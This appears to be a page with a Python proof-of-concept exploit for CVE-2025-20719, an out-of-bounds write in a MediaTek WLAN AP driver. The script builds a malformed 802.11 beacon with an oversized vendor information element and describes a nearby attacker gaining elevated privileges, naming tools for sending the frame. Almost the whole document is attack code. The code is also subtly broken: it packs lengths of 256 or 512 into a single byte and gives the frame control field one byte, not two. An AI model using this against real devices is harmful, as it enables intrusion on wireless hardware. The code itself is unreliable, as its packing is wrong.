CVE-2025-20719 MediaTek WLAN AP驱动越界写入漏洞

# CVE-2025-20719 - MediaTek WLAN AP Driver Out-of-Bounds Write PoC # This is a conceptual proof-of-concept demonstrating the exploitation approach # Note: Actual exploitation requires proximity to the target device import struct import socket # 802.11 Management Frame structure class Dot11Frame: def __init__(self, frame_type=0x00, frame_subtype=0x08): self.frame_type = frame_type # Management frame self.frame_subtype = frame_subtype # Beacon frame self.duration = 0 self.addr1 = b'\xff\xff\xff\xff\xff\xff' # Destination (broadcast) self.addr2 = b'\x00\x11\x22\x33\x44\x55' # Source (attacker MAC) self.addr3 = b'\xff\xff\xff\xff\xff\xff' # BSSID self.seq_ctrl = 0 def build_malicious_beacon(self, overflow_size=256): """Build a malicious beacon frame with oversized IE elements to trigger out-of-bounds write in the WLAN AP driver""" frame = struct.pack('!B', 0x80) # Frame control: Beacon frame += struct.pack('!H', self.duration) frame += self.addr1 + self.addr2 + self.addr3 frame += struct.pack('!H', self.seq_ctrl) # Beacon frame body with manipulated Information Elements # The malformed IE length triggers the bounds check bypass beacon_body = struct.pack('!Q', 0) # Timestamp beacon_body += struct.pack('!H', 100) # Beacon interval beacon_body += struct.pack('!H', 0x0001) # Capabilities # Malicious IE with incorrect length field (triggers OOB write) malicious_ie = struct.pack('!BB', 0xDD, overflow_size) # Vendor specific IE malicious_ie += b'\x00' * overflow_size # Oversized payload return frame + beacon_body + malicious_ie def exploit(): """ Exploitation flow: 1. Attacker positions within WiFi range of target device 2. Sends crafted beacon/management frames 3. Vulnerable driver processes frame with incorrect bounds check 4. Out-of-bounds write occurs in kernel memory 5. Attacker gains elevated privileges on the device """ frame_builder = Dot11Frame() malicious_frame = frame_builder.build_malicious_beacon(overflow_size=512) # In a real attack, this would be transmitted via raw 802.11 sockets # using monitor mode with a compatible wireless adapter print(f"[*] Crafted malicious frame: {len(malicious_frame)} bytes") print(f"[*] Frame contains oversized IE to trigger CVE-2025-20719") print(f"[*] Requires proximity to target (Adjacent network attack)") return malicious_frame if __name__ == "__main__": payload = exploit() # Transmission requires: aircrack-ng suite, scapy, or raw socket access # in monitor mode on a compatible wireless adapter